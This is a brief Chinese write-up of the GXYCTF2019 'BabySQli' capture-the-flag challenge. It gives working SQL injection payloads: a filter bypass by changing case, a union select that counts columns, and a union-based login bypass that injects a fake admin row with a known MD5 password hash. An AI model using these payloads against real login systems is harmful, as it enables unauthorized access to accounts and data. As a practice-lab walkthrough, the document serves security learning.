[GXYCTF2019]BabySQli

随意构造,点击登录后查看源码,发现隐藏提示

是一个base32,解码后再解一次base64即可
select * from user where username = '$name'
构造
admin' 报错 admin'# 回显正常
fuzz了一下,过滤了or,大写绕过ORder by 3查询列数,可知有3列
常规注入
admin' union select 1,2,3#
回显wrong pass
有一个新技巧,mysql在查询不存在的数据时,会自动构建虚拟数据
如


原本库里没有1313131313,但mysql自动给我们加上了,相当于我们临时创建了一个admin用户,密码是1313131313
这里还有一点,说后台password经过了md5加密,这个点我不知道从何得知
假设密码为123,其md5值为202cb962ac59075b964b07152d234b70
构造
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
然后password的值为123,post一下即可得到flag


浙公网安备 33010602011771号